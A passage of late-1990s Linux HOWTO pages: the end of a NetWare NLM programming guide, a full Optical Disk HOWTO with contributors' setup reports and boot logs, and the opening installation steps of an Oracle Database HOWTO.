4.32 START

Syntax:

START <start procedure name>

Default is _Prelude.

4.33 SYNCHRONIZE

Syntax:

SYNCHRONIZE

4.34 THREADNAME

Syntax:

THREADNAME "Initial Process Name (CLIB)"

4.35 TYPE

Syntax:

TYPE <version>

This directive specifies the format (NLM, LAN, DSK, NAM) of the NLM file to be generated. Valid values are:

  • 0 - NLM
  • 1 - LAN
  • 2 - DSK
  • 3 - NAM

Example:

TYPE 0

4.36 VERSION

Syntax:

VERSION <major version>, <minor version> [, <revision>]

The version information is displayed on the server system console when the NLM loads. The major and minor version numbers can be 0 - 99. The revision can be 0 - 26 ("a" - "z") and is optional. The version directive is required.

Example:

VERSION 1,5

4.37 XDCDATA

Syntax:

XDCDATA <XDC data file path>


NetWare Loadable Module Programming HOWTO: Message files

 Next Previous Contents

5. Message files

A message file contains (as you guess) text messages generated by the NLM. You can create it using DOS programs MSGLIB.EXE and MSGMAKE.EXE. I don't know any similar utility for Unix. Sorry, you'll have to use dosemu or DOS machine :-(


NetWare Loadable Module Programming HOWTO: Help Files

 Next Previous Contents

6. Help Files

Help files contain help for use with the NWSNUT user interface library. There is no known Linux utility for creating help files. You must use the DOS program HELPLIB.EXE, which is available from Novell developer site.


NetWare Loadable Module Programming HOWTO: XDC Data Files

 Next Previous Contents

7. XDC Data Files

XDC files are used by NetWare 5 (or SMP NetWare 4.x), and store information about symmetric multiprocessing (SMP). You will probably not need them. At least not now :-) Again, there is no Unix utility for creating XDC files, you will have to use the MPKXDC.EXE program (also available on the Novell developer site).


NetWare Loadable Module Programming HOWTO: Header Files (.h)

 Next Previous Contents

8. Header Files (.h)

(todo)


NetWare Loadable Module Programming HOWTO: Import Files (.imp)

 Next Previous Contents

9. Import Files (.imp)

(todo)

9.1 Generating Import Files Using nlmimp(1)

Program nlmimp(1) is part of my nlm-kit package. (todo)


Linux - Optical Disk HOWTO

Skip Rye, abr@preferred.com

v1.6, 11 December 1998

This document describes the installation and configuration of optical disk drives for Linux. Please, if any one has experiences with optical storage under Linux, send it and I will update it in SGML and forward it to the Linux community. Please let me know if it's OK to include your E-mail address!

1. Disclaimer

2. Copyright

  • 2.1 LF1000 mini-HOWTO
  • 2.2 Optical Disk-HOWTO

3. Phase Change Optical Technology

  • 3.1 Introduction
  • 3.2 Panasonic LF1000
  • 3.3 Additional Configuration concerns by Jeff Rooze

4. Magneto Optical Technology

  • 4.1 Introduction
  • 4.2 Olympus, Epson, Mitsubishi MK230LK3 - Stephan Shuichi Haupt
  • 4.3 Fujitsu DynaMO 640 - Phil Garcia
  • 4.4 Panasonic LF-7010 - Philip Kerr

5. Optical jukeboxes

  • 5.1 Maxoptix 520 - Zed Shaw


Linux - Optical Disk HOWTO : Disclaimer

 Next Previous Contents

1. Disclaimer

Neither the author nor the distributors, or any other contributor of this HOWTO are in any way responsible for physical, financial, moral or any other type of damage incurred by following the suggestions in this text.


Linux - Optical Disk HOWTO : Copyright

 Next Previous Contents

2. Copyright

The "Optical Disk-HOWTO" and "LF1000 mini-HOWTO" are copyrighted.

2.1 LF1000 mini-HOWTO

(C) 1996,1997 by Skip Rye, abr@brspc_0064.msd.ray.com

2.2 Optical Disk-HOWTO

(C) 1997,1998 by Skip Rye, abr@preferred.com

Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged. The author, however, would like to be notified of any such distributions. All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. In other words, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions. In short we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs. Should you have any questions, please contact Greg Hankins, the Linux HOWTO coordinator, at gregh@sunsite.unc.edu. You may finger his address for phone number and additional contact information.


Linux - Optical Disk HOWTO : Phase Change Optical Technology

 Next Previous Contents

3. Phase Change Optical Technology

3.1 Introduction

Optical Phase Change technology is used to create "In Phase" or "Out of Phase" bits on a special media for phase change writing. The drive uses a LASER of different power levels or LASER intensities to produce this effect. One power level allows the media to flow into a crystalline form while the other creates an "Out of Phase" condition. The crystallized areas reflect the read Lasers beam with a different coefficient of reflectivity than the non-crystallized areas. Thus, data can be read from the disk.

What makes the phase change optical disk special is that it the disk is formated with concentric cylinders or tracks with each track being sectored much like a magnetic disk or read/write optical disk. The tracks are very close so a lot of data can be stored on a disk. This is different from a CD-ROM in that it gives your system the look and feel of a magnetic disk. CD-ROMs have a spiraling track much like a audio record. Having tracks and sectors alone would not make the phase change drive special from optical disk but the drive has some very special properties; The phase change drive allows for direct overwrite of data which magneto optical can't do inexpensively and the media has the very special property of NOT being susceptible to magnetic fields or as sensitive to static discharge which gives the media a very long shelf life.

3.2 Panasonic LF1000

POINTS OF INTEREST

  • Read/Write optical disk.
  • Can read CD-ROMs at 4X speed.
  • Can read Kodak PhotoCDs.
  • Media has a 15 Year shelf life.
  • SCSI-2 Interface.
  • Track/sector format as opposed to CD-ROMs spiraling record format.
  • 165ms access time - much better than a tape file restore.
  • 650Mb data storage per diskette.
  • Diskettes are about $50 each.

THINGS YOU SHOULD KNOW

  • Optical disk format not compatible with any other disk drive.
  • Vendors don't seem to support UNIX very well - marketing is targeted for DOS/Windows and Macintosh.
  • Do NOT purchase the PD drive which uses the parallel port interface - To my knowledge there is no Linux driver for it.

Installation

The LF1000 is SCSI-2 compatible device. It features a block size of 512 bytes and is compatible with the Linux SCSI drivers. This drive was installed on a PC compatible AMD 100MHZ 486 with an Adaptec 1542C SCSI bus-master controller. To install and mount a disk the following steps were taken;

Installation steps

  • Install the drive and set the SCSI address to not interfere with other SCSI devices. Reconnect all cabling.
  • Boot the computer. Your SCSI controller should note the new drive.
  • During the Linux kernel boot, you should see an additional SCSI device. In my case, having a magnetic system disk for device /dev/sda it shows up as /dev/sdb.
  • I did NOT partition the device because fdisk issued an overwrite warning and I did not want to change anything from a dosemu standpoint.
  • mkfs -t ext2 /dev/sdb
  • mkdir /pd
  • mount -t ext2 -o ro,suid,dev,exec,auto,nouser,async /dev/sdb /pd - Read only
  • mount -t ext2 -o defaults /dev/sdb /pd - Mount drive W/R

Your ready to "Rock'n'Roll"

Usage hints

  • The media which comes with the drive is reported be re-writable about 500,000 times. This means that it is not advisable to install a live operating system such as Linux on the phase change optical drive. These live operating systems tend to cache processes to and from disk. Over time this can easily approach the phase change media life.
  • Mount drive read only as much as possible.
  • When writing to the drive do so in large chunks. This will help reduce any file fragmentation which will require more read seeks.
  • This is however an excellent media for backups, gifs, mpeg or storing large programs which you don't use that often. The restore from backup is much faster that tape. Backups can be performed using the cp -rp command without the need for the ftape driver. This however, will replace symbolic links with the actual file.
  • If while using the PD for writing, You find that the file you just wrote to the disk are not there, chances are that the disk write protect tab is in write protect mode and you mounted it in read/write mode.

3.3 Additional Configuration concerns by Jeff Rooze

Hello,

I read your article on configuring the Panasonic LF-1000 for Linux. I have configured my system so that the optical drive has its own device name and the CD-ROM has its own device name. This has allowed me to mount either media at any time. I do not require any media in the drive when I boot Linux. Also I am using the optical drive as an ext2 formatted media.

I had a couple of minor difficulties in doing so.

First, I had configured my hard drive at SCSI ID 6 and my PD at SCSI ID 4. (I wanted to have the hard drive at a higher priority that the PD). This caused a problem with the Linux SCSI driver. The driver scans the SCSI devices from the Lower SCSI id's to the higher (eg: 0 .. 6). Consequently my logical device names were assigned differently depending on which type of media was installed in the PD drive. This caused a big problem. My Linux partition is on my SCSI hard drive and the root device name would change! I corrected this problem by modifying the software in the kernel SCSI driver to scan the devices in reverse order.

Second, the distribution Linux kernel does not scan all SCSI LUNS. The PD/CD drive has a mode that establishes the CD-ROM at LUN 1 and the PD at LUN 0. This mode is selected by the configuration switches on the PD/CD drive. Switch #2 should be down (off?). If this switch is up (on?), the signature of the device is dependent upon the media that is installed and it only reports this device on LUN 0. If no media is installed I think it defaults to CD-ROM. I am using an Future Domain 16-xx SCSI interface card and the software in Linux kernel driver supports an optical device signature when scanning the LUNS. I assume that this is standard for most of the SCSI drivers. I reconfigured the kernel to enable the "scan all LUNS" switch. The kernel then assigns different device names for each device. The following is an excerpt from by boot log. You will note a series of errors in this log. This is because I did not have the optical media installed in the drive and the driver was attempting to look at the partition table to determine the block size. Fortunately it defaults to 512. I am planning on modifying the Future Domain SCSI driver to not do this when it detects the optical device.

>  scsi0 <fdomain>: BIOS version 3.2 at 0xde000 using scsi id 7
>  scsi0 <fdomain>: TMC-18C50 chip at 0x140 irq 12
>  scsi0 : Future Domain TMC-16x0 SCSI driver, version 5.28
>  scsi : 1 host.
>    Vendor: CONNER    Model: CP30545 545MB3.5  Rev: A9AF
>    Type:   Direct-Access                      ANSI SCSI revision: 02
>  Detected scsi disk sda at scsi0, id 6, lun 0
>    Vendor: MATSHITA  Model: PD-1 LF-1000      Rev: A109
>    Type:   Optical Device                     ANSI SCSI revision: 02
>  Detected scsi disk sdb at scsi0, id 4, lun 0
>    Vendor: MATSHITA  Model: PD-1 LF-1000      Rev: A109
>    Type:   CD-ROM                             ANSI SCSI revision: 02
>  Detected scsi CD-ROM sr0 at scsi0, id 4, lun 1
>  fdomain: Selection failed
>  scsi : detected 1 SCSI cdrom 2 SCSI disks total.
>  SCSI Hardware sector size is 512 bytes on device sda
>  fdomain: REQUEST SENSE Key = 2, Code = 3a, Qualifier = 0
>  last message repeated 3 times
>  sdb : READ CAPACITY failed.
>  sdb : status = 0, message = 00, host = 0, driver = 28
>  sdb : extended sense code = 2
>  sdb : block size assumed to be 512 bytes, disk size 1GB.
>  .
>  .
>  .
>  Partition check:
>    sda: sda1 sda2 sda3
>  scsidisk I/O error: dev 0810, sector 0
>    unable to read partition table of device 0810

Third, I modified my file system table (/etc/fstab) to list each device but do not attempt to auto mount when booting. I have included an excerpt from my fstab. The most important options are the noauto, rw(ro), and the checkpass flag.

To create a ext2 file system on the PD, I used the command "mkfs.ext2 -i 2048 /dev/sdb".

# fstab - List of file systems
#
# device  mount   type          options              dumpfrequency
checkpass
/dev/sdb /optd    ext2   rw,user,suid,noauto,sync,exec,dev,umask=0 0 2
/dev/sr0 /dist  iso9660  ro,user,suid,noauto,sync,exec,dev 0 2

After making these changes, I have had no problems with mounting either media. All I need to do is to load the media and type "mount /optd" or "mount /dist" and the system does all the rest.

I hope this information is useful.

Jeff
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\ Jeff Rooze -- http://www.treknet.net/~jrooze -- jrooze@treknet.net /
/  If builders built buildings the way some programmers write        \
\  programs, then the first woodpecker that came along would destroy /
/  civilization.                                     GERALD WEINBERG \
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I tried Jeff's suggestion. Here are the steps I performed;

  • Modify my kernel using "make xconfig" in the /usr/src/linux directory and installed it.
  • Change the mode jumper on the PD drive to non-DOS mode. I soldered a switch across the mode jumper connections and routed it the the back panel. I figured out which switch position was the open position and labeled this one for DOS. The other position is of course Linux. So before I boot my system I decide which OS I'll be using and set the switch accordingly. History shows it staying in the Linux position more and more.
  • Reboot your system. You should now see multiple LUN show up during boot for the PD SCSI device number - It works great!!! If you have an older kernel modify the "/usr/src/linux/drivers/scsi/config.in" file.
  • Update the fstab for both CD and PD drives.
  • Use appropriate mount command.
  • "df" to make sure your ready.

I did try moving my primary SCSI drive to 6 but experienced some difficulties. Can't remember exactly what it was but it may have been that my controller "Adaptec 1542" with "Corel SCSI" requires a bootable disk and SCSI 0 for the BIOS install to work properly with DOS. So I switched it back and enjoyed playing with my properly install PD drive! With this configuration "workman" - the audio CD player util - works fine.


Linux - Optical Disk HOWTO : Magneto Optical Technology

 Next Previous Contents

4. Magneto Optical Technology

4.1 Introduction

Magneto optical drives use a "Far field" magnetic field and a laser to change polarization of a magnetic media. The media is of such a nature that it must be heated to the appropriate temperature before a polarization change can happen - this is where the laser comes into play. A high power write laser is used to heat the disk surface to the appropriate temperature at which time the "Far field" can set the polarization on the disk magnetic surface. After a short period of time the disk surface cools and "locks" the polarization into place. The read back I'm a little fuzzy on - someone please send me the proper wording. I think a low power laser is used for read back and the "H" field of the disk polarization interacts with the "E" and "H" field of the incident laser to produce a reflective polarization which will correspond to the disk bit polarization - I hope this is in the ball-park, it's certainly no home run. Maybe a total strike out.

The use of a laser for polarization change allows the disk bit and track densities to be higher than conventional "Flying" magnetic heads. The "far field" means no more "head crashes" - that is assuming your disk label doesn't peal off during the load or you don't leave one of those sticky pads on the disk cartridge. Most media allows 650 Megs per platter and on some models both sides of the media is used yielding 1.3Gig storage media - you must remove the media and flip it over to use the other 650Megs though.

4.2 Olympus, Epson, Mitsubishi MK230LK3 - Stephan Shuichi Haupt

Stephan Shuichi Haupt <stephan@bios.t.u-tokyo.ac.jp>

Hi

I have noticed that there is not much information about
magneto-optical disks in the howto, which may be due to the fact that
these are not very popular in general. In Japan, MO drives are very
common, especially the 3.5' variety with media in 128MB (maybe not
available anymore), 230MB, and recently 640MB sizes. I suppose there
is plenty of info on usage of these drives with Linux in Japanese -
but that does not help most people for some reason ;-) MODs can be
used very much like any removable media and are handy for smaller
backups as the media are relatively inexpensive (about 10US$ / 640MB
as of 10-98). I can only comment on the usage of 230MB drives with
SCSI interface.

Drives used: several, no problems encountered (Olympus, Epson, currently
Mitsubishi MK230LK3). Drives may have strange jumper setting like "Mac
Mode" or such - naturally, disable.
If you decide to get a drive, pay attention the the
cache size - It can speed things up enormously, still speed will be
soso compared to hard disks, of course.

SCSI controllers: NCR53C810-based (Asus PCI-200), Adaptec APA-1460A,
Adaptec AHA2940.

Just install the drive as you would do with an additional SCSI hard
disk. It will show up as such. You don't need a disk in the drive when
booting.

There are two ways to format the disks:
a) A bit like a floppy. Just run mkfs on the raw device i.e. something like
sdb or sdc. I don't recommend this in general (see below).
b) Like a hard disk. Do fdisk on the raw device and then mkfs on the
partition as you would for a hard disk (like sdc0, I have never made
multiple partitions on a MOD).

What I have not tried is to boot from MOD, yet I cannot see why it
should not work. I would only recommend it for emergency system
recovery, however, due to MO drive performance.

Note: Purchased disks for Doze or Windog may be formatted "like
floppies" and cannot be used with either O(gre)S right away while MODs
formatted under linux as hard disks (partition FAT16 / type 6 and
mkdosfs) will work fine (only tested with NT 3.5/4.0).  Fdisk will
issue a warning upon exit that concerned FAT16 partitions and you do
better to take it seriously (look at the fdisk man-page).  The sector
size will not be automatically set properly for mkdosfs. Use "mkdosfs
-s 8". That came from some Japanese Web site in mid 1995 (Thanks to Ken
Kawabata for finding and deciphering it). Using the vfat file-system
with the disks works fine. I have only used FAT/DOSfs or Linux/ext2
formatted disks so far.

Additional Note: The media are probably a bit sensitive. Of course to
magnetic fields, but also to mechanical stress, some formats seem
to be more fragile than others (Mac format seemingly worst, data loss has
occurred when dropping disks during sneaker net traffic).

Though this does not steer anyone through particularly dense
jungle, it may be nice for completeness.

        Steve

--
***********************cut*here*or*do*not********************************
        S. Shuichi Haupt
        email stephan@bios.t.u-tokyo.ac.jp
        http://www.bios.t.u-tokyo.ac.jp/~stephan/

---------------- December 11 1998 update from Steve -------------------

OK, some problems will arise with MO disks occasionally. the safest
way to avoid them is not to use the disks "off the shelf".  trying to
mount disks can even result in kernel panics. i accidentally tried to
mount a 640MB disk (format windows95 it said, so maybe FAT32) as -t
vfat, this is not a thing to try.

also, 2.0.x kernels don't support 2048b block size (also 640MB disks).
a patch for 2.0.3x kernels seems to float around somewhere in Japan,
but i have not yet gotten hold of it.  here a link that certainly has
an English description:
http://elektra.e-technik.uni-ulm.de/~mbuck/linux/patches.html
or search the u-tokyo.ac.jp domain. the page of the developers is
hidden somewhere.

the best way to use these 640MB disks is therefore to do fdisk and
mkfs first. i have only done this with mke2fs on type 83 partitions:
mke2fs -b 2048 /dev/sdxy

i will check it out for FAT16 partitions and mkdosfs when i have some
spare time and disks.

my kernel version used is 2.1.124 (for all of the above).

Steve
--
***********************cut*here*or*do*not********************************
        Stephan Shuichi
office: Dept. for Mechano-Informatics, Yoshizawa Lab.
        Faculty for Engineering, University of Tokyo
        Tel 03-3812-2111 ext 6390, FAX 03-5802-2957
        email stephan@bios.t.u-tokyo.ac.jp
        http://www.bios.t.u-tokyo.ac.jp/~stephan/
private: --

4.3 Fujitsu DynaMO 640 - Phil Garcia

pgarcia@execpc.com

  You've probably already received a number of messages regarding the
Fujitsu DynaMO 640 - I have the 640SZI, which is the internal version;
the model number given in a SCSI probe is M2513-MCC3064SS.  I recently
installed this drive practically without a hitch.  I say practically
because the sector size of the 640 MB disks is 2048 bytes, which is
not supported in the Linux 2.0.x kernel but is supported in the
development kernels.  A patch for 2.0.x is available at
http://wwwcip.informatik.uni-erlangen.de/~orschaer/mo/
-- also at this site is a patched fdisk to use in conjunction with it.

Otherwise, installing the drive was no different from installing a
SCSI hard drive.  It runs well, and I'm very happy with it.

Phil Garcia

4.4 Panasonic LF-7010 - Philip Kerr

philip_kerr_at_wmc__brsf2@wmcmail.wmc.ac.uk

     Dear Skip

     In your Optical HOWTO, you asked for anyone else's experiences of
     installing optical drives under Linux.

     Please find below details of how I managed to get a Panasonic LF-7010
     (SCSI) working on my Sparc Classic.

     I'm using Redhat, 4.2 and 5.1

     Regards

     Philip Kerr
     philip.kerr@wmc.ac.uk

     ps I'm now trying to get the drive to work under Solaris 2.6... it's
     not an easy a job as it was under Linux!!
     ------------------------

     plugged the drive in (on id5)...

     powered up the Sparc...

     the following came up....

     scsi0 : Sparc ESP100A-FAST
     scsi : 1 host.
     Vendor: SAMSUNG   Model: WN32162U          Rev: 0100
     Type:   Direct-Access                      ANSI SCSI revision: 02

     Detected scsi disk sda at scsi0, channel 0, id 3, lun 0
     Vendor: MATSHITA  Model: LF-7010  (00:06)  Rev: 1.42
     Type:   Optical Device                     ANSI SCSI revision: 02
     Detected scsi removable disk sdb at scsi0, channel 0, id 5, lun 0 scsi
     : detected 2 SCSI disks total.
     esp0: target 3 [period 100ns offset 15 10.00MHz FAST SCSI-II]
     SCSI device sda: hdwr sector= 512 bytes. Sectors= 4236661 [2068 MB]
     [2.1 GB]
     esp0: target 5 [period 248ns offset 4 4.03MHz synchronous SCSI] sdb :
     READ CAPACITY failed.
     sdb : status = 0, message = 00, host = 0, driver = 28 sdb : extended
     sense code = 2
     sdb : block size assumed to be 512 bytes, disk size 1GB.
     sunlance.c:v1.9 21/Aug/96 Miguel de Icaza (miguel@nuclecu.unam.mx)
     eth0: LANCE 08:00:20:04:3d:cf
     eth0: using auto-carrier-detection.
     Partition check:
     sda: sda1 sda2 sda3 sda4 sda5 sda6 sda7 sda8
     sdb:scsidisk I/O error: dev 08:10, sector 0, absolute sector 0 unable
     to read partition table

     I edited my fstab, adding the entry for the drive (on sdb)

     ==========
     /etc/fstab
     ==========
     /dev/sda1          /                       ext2    defaults        1 1
     /dev/sda2          swap                    swap    defaults        0 0
     /dev/fd0           /mnt/floppy             msdos   noauto,user     0 0
     /dev/sr0           /mnt/cdrom              iso9660 noauto,ro,user  0 0
     /dev/sdb           /mnt/optical            ext2    noauto,rw,user  0 0
     none               /proc                   proc    defaults        0 0

     Then mkfs'ed a blank disc as follows...

     [root@localhost me]# /sbin/mkfs -t ext2 /dev/sdb

     mke2fs 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09 /dev/sdb is entire
     device, not just one partition! Proceed anyway? (y,n) y
     Linux ext2 filesystem format
     Filesystem label=
     118320 inodes, 472448 blocks
     23622 blocks (5.00%) reserved for the super user First data block=1
     Block size=1024 (log=0)
     Fragment size=1024 (log=0)
     58 block groups
     8192 blocks per group, 8192 fragments per group 2040 inodes per group
     Superblock backups stored on blocks:
     8193, 16385, 24577, 32769, 40961, 49153, 57345, 65537, 73729, 81921,
     90113, 98305, 106497, 114689, 122881, 131073, 139265,
     147457,
     155649, 163841, 172033, 180225, 188417, 196609, 204801,
     212993, 221185,
     229377, 237569, 245761, 253953, 262145, 270337, 278529,
     286721, 294913,
     303105, 311297, 319489, 327681, 335873, 344065, 352257,
     360449, 368641,
     376833, 385025, 393217, 401409, 409601, 417793, 425985,
     434177, 442369,
     450561, 458753, 466945

     Writing inode tables: done
     Writing superblocks and filesystem accounting information: done

     rebooted...

     mounted the drive...

     I've since then edited the fstab, adding the following mount-point...

     /dev/sdb           /mnt/dostical          msdos   noauto,rw,user 0 0

     I can now mount ext2 or dos formatted optical carts by mounting either
     optical or dostical.


Linux - Optical Disk HOWTO : Optical jukeboxes

 Next Previous Contents

5. Optical jukeboxes

I have no experience with optical jukeboxes with Linux!!!! I have had experiences with Optical jukeboxes under HP-UX. In this setup the the jukebox had a SCSI address of it's own. Each slot in the jukebox had an associated LUN number. A device name was assigned for each disk slot A side and B side. The mount command was run against the appropriate device name. I had a jukebox with just one drive and 16 optical disk slots - 20 Gig. I thought it was going to be a real hassle to write a disk mount manager to share this drive among users until I discovered you can mount as many disk as you want and the jukebox driver takes care of arbitration - what a nice feature. Granted, you only want archive type data here and your overall system configuration to be such that not too many processes will be accessing the jukebox at the same time. The disk spin down, carriage load, carriage move, carriage unload, carriage move to the next disk, carriage next disk load, carriage move, optical drive load, and spin up takes about 12 seconds - "seek-from-hell".

5.1 Maxoptix 520 - Zed Shaw

shawz@imap1.asu.edu

Zed's Origional E-Mail - Feb 13 1998

Hi,

I was reading your howto (a life saver, thanks) and I was wondering what
kind of jukebox you were running?  I have a Maxoptix 520 Jukebox (20
disks at 2.6G each, nice!) and I would like to connect it to a Linux box
and serve the drives up to my users, but I'm having problems accessing
the individual drives.   Currently I can only access the two drives and
something called MAXLYB which I think is a controller device of some
sort.

Basically, I'm wondering if the jukebox you had was the same or similar
and how you set it up.  I know that you did it under HP-UX, but any help
right now would be nice.  Hey, I'll even let you log into my linux
server if you want to take a look at the jukebox and see what it does.
You can't beat 52Gig of storage!

Anyway, I'd really appreciate your help.

Zed A. Shaw
Application Systems Analyst
Arizona State University

Corrospondance with Zed on Mon, 16 Feb 1998:

> It sounds like your Maxoptix 520 is a jukebox with two physical disk.
Yep, that's the one.

>
> All jukeboxes have a carriage controller. This is probably your MAXLYB
> device.
> ...

What I've come to find out is that Maxoptix is pretty stingy when it
comes to drivers.  Apparently, they don't make driver software for any of
their Jukebox carriage controller interfaces!  I don't know how some of
these companies stay in business.  I'm going to pester them again soon,
but you are right, this thing will need a carriage controller driver to
operate.  The cool thing is that this MX520 (that's the model number of
the juke) emulates a whole slew of other carriage controllers, so maybe
one of those other guys has a driver.  I'll be looking into that too.

>
> You might want to get a-hold of Maxoptix and see if they have a install
> package for your linux kernel version. If not ask them for the programmers
> specification for the carriage controller and maybe we can write one!
>

Hey, if I can't find any driver software, and I can convince Maxoptix to
give me the specs, I'd be more than glad to write a driver.  I'd could
sure use the help too since I haven't got enough time to do it on my
own.  Also, do you know of anyone else doing this that we might be able
to hack off of?

> Any information you find, let me know and we will roll the information
> into the Optical HOWTO, acknowledgments of course!
>

Sure, but let me get some new information first.  So far things are
looking pretty bleak.

>
> >Basically, I'm wondering if the jukebox you had was the same or similar
> >and how you set it up.  I know that you did it under HP-UX, but any help
> >right now would be nice.  Hey, I'll even let you log into my linux
> >server if you want to take a look at the jukebox and see what it does.
> >You can't beat 52Gig of storage!
>
> Nice. At home I can use PPP to mount my 84 platter HP-UX jukebox.
> It's slow though - I wish I had it at home.

Oh, I don't have this thing at home.  There's no way I could afford the
$30,000 my boss paid for this thing.  But he's stuck with it and has had
it sitting around collecting dust for a year, so he's letting me play
with it and try to find a use for it.

I'll get back with you when I have some more information.  It should be
sometime this week when I find out if I can get it to work or not.

Zed


Oracle Database HOWTO

Paul Haigh, paul@nailed.demon.co.uk

v1.2, 4 August 1998

A guide to installing and configuring the Oracle Database Server on a Linux system

1. Introduction

  • 1.1 Version History
  • 1.2 Copyright
  • 1.3 Disclaimer
  • 1.4 Aim of the HOWTO
  • 1.5 Requirements
  • 1.6 News From Oracle Corporation

2. Installing the Oracle Software

  • 2.1 Server Preparation
  • 2.2 Installing from CDROM
  • 2.3 Post Installation Tasks

3. Creating a Database

  • 3.1 Create the Initialisation File
  • 3.2 Creating the Database Install Script
  • 3.3 Running the Database Installation Script
  • 3.4 Starting the Database
  • 3.5 Stopping the Database
  • 3.6 Create a Default User

4. Configuring SQL*Net on the Server

  • 4.1 tnsnames.ora
  • 4.2 listener.ora
  • 4.3 sqlnet.ora
  • 4.4 Starting and Stopping the Listeners

5. Client Configuration

  • 5.1 Windows Clients
  • 5.2 Unix Clients

6. Automatic Startup and Shutdown

  • 6.1 dbstart & dbstop
  • 6.2 init.d & rc.d

7. Other Bits

  • 7.1 Intelligent Agent

8. Troubleshooting

  • 8.1 I cannot create a database when using Oracle 7.2.x.
  • 8.2 I'm getting segmentation faults in svrmgrl under version 7.3.4.x.

9. Credits


Oracle Database HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Version History

  • v0.1 - 21 Feb 1998 - Paul Haigh - Original Version.
  • v0.2 - 01 Mar 1998 - Paul Haigh - Comments From Proofreaders Added.
  • v1.0 - 10 Mar 1998 - Paul Haigh - First Release to LDP.
  • v1.1 - 20 Jun 1998 - Paul Haigh - Added troubleshooting section & general tidyup.
  • v1.2 - 04 Aug 1998 - Paul Haigh - Added Oracle Corp News & Removed Section on Future Enhancements.

1.2 Copyright

The Oracle Database HOWTO copyright (c) 1998, Paul Haigh.

Like all Linux HOWTO documents, this may be reproduced and distributed in whole or in part, in any medium, physical or electronic, so long as this copyright notice is retained on all copies.

Commercial redistribution is allowed and encouraged; however the author would like to be notified of such distributions. You may translate this HOWTO into any language whatsoever provided that you leave this copyright statement and disclaimer intact, and that you append a notice stating who translated the document.

1.3 Disclaimer

While I have tried to include the most correct and up to date information available to me, I cannot guarantee that usage of information in this document does not result in loss of data or equipment. I provide NO WARRANTY about the information in the HOWTO and I cannot be made liable for any consequences resulting from using the information in this HOWTO.

1.4 Aim of the HOWTO

In this HOWTO I will attempt to cover installation and basic admin of an Oracle database running on a Linux machine. In particular I will cover Oracle server installation, SQL*Net configuration and client configuration.

This document is not an in depth tutorial on using or administering an Oracle database, if that is what you are looking for there are great books on those subjects published by O'Reilly and others.

I am also not going to cover the development of Oracle programs under UNIX. If this is absolutley necessary to you then I would recommend that you purchase the SCO development system (with OpenServer 5.x) from SCO, which I am told can be obtained for a very reasonable US $19, from www.sco.com.

1.5 Requirements

I am assuming a number of items that you will need for following the HOWTO.

  • Oracle Server CD for SCO Openserver (Version 7.3.3.0.0.)

    This must be a legal copy. Remember that Oracle are a profit making company and charge for their products. If you want a free SQL compliant database use PostgresSQL or similar.

    It is also possible to install oracle, using a 60 day evaluation licence, from a downloadable tar file from the Oracle web site. I have not personally tried this and it is completely unverified.

  • A Linux Server

    You wouldn't be reading this without one...would you?

  • Kernel 2.0.30+

    I cannot guarantee that these instructions will be accurate for any other Kernel. (Not that I am guaranteeing it for 2.0.30 either...).

  • iBCS

    It is very important to have this installed and working with the latest possible version for your platform. (I am using iBCS-2.0-10.i386.rpm from Redhat Linux).

  • Lots of disc space

    600 Mb+ is a reasonable amount. It is possible to install with less but you need to make some sacrifices, and I never like starting with those. However, I will attempt to point out areas in which space can be freed up.

  • 32Mb+ Ram

    I know that this sounds like a lot, especially in Linux terms, but remember that Oracle is a complex piece of software. You wouldn't have the same reservations on SCO!

    I am not saying that Oracle doesn't work with less, just that it is less than Oracle recommend and I wouldn't suggest it.

  • Licenses from Oracle

    I know that I have already mentioned this but I want to be clear that this is important. Using software from Oracle without a license is illegal.

1.6 News From Oracle Corporation

Oracle have bowed into pressure from the Linux community. Oracle Corporation have decided to officially support Oracle 8 on the Linux (i386) platform. This should be released in December 1998, according to the Oracle website.

Better still Oracle will also be porting Oracle Applications to the linux platform. This should be available in the first half of 1999, according to the Oracle website.

References:

  • http://www.oracle.com/html/linux.html
  • http://www.news.com/News/Item/0,4,24436,00.html
  • http://www.zdnet.com/pcweek/news/0720/20morac.html


Oracle Database HOWTO: Installing the Oracle Software

 Next Previous Contents

2. Installing the Oracle Software

2.1 Server Preparation

Creating an Oracle User

Unsurprisingly we require a user to hold the Oracle database. Since we have no desire to relink the Oracle kernel (more about that later) we have to accept the Oracle defaults for user name and group name. This includes the user ORACLE and the group DBA.

  1. Login as Root

  2. Create the oracle user and the group dba.
    $ groupadd dba
$ useradd  oracle
  3. Ensure a home directory is created for the user oracle.
    $ mkdir /home/oracle
$ mkdir /home/oracle/7.3.3.0.0 (Version of Oracle)
$ chown -R oracle.dba /home/oracle

2.2 Installing from CDROM

Unfortunately the Oracle Installer on the SCO disc will not work. A variety of problems can be experienced, from core dumps to hangs. As a result we need to copy the files from the CDROM manually and uncompress them:

(Ensure the CDROM is mounted on the system).

  1. Log on as Oracle
  2. Change directory to /home/oracle/7.3.3.0.0.
  3. Copy all install files from CDROM
    $ cp -a /mnt/cdrom/* .
  4. Un-compress all Oracle files on CDROM.
    $ find . -name *_ -exec ~/7.3.3.0.0/orainst/oiuncomp {} \;

2.3 Post Installation Tasks

Tasks for Root

Add the following lines to /etc/profile or add to the .profile for each user who is going to use Oracle.

# Oracle Specific
ORACLE_HOME=/home/oracle/7.3.3.0.0
ORACLE_SID=orcl
ORACLE_TERM=vt100
export ORACLE_HOME ORACLE_SID ORACLE_TERM

# Alter path for Oracle
PATH="$PATH:$ORACLE_HOME/bin"

We also need to change the owner and permissions of the Oracle ulimit increase utility.

$ chown root.root $ORACLE_HOME/bin/osh
$ chmod u+s $ORACLE_HOME/bin/osh

Tasks for Oracle

Change permissions for the Oracle files to ensure correct operation.

$ chmod +x $ORACLE_HOME/bin/*
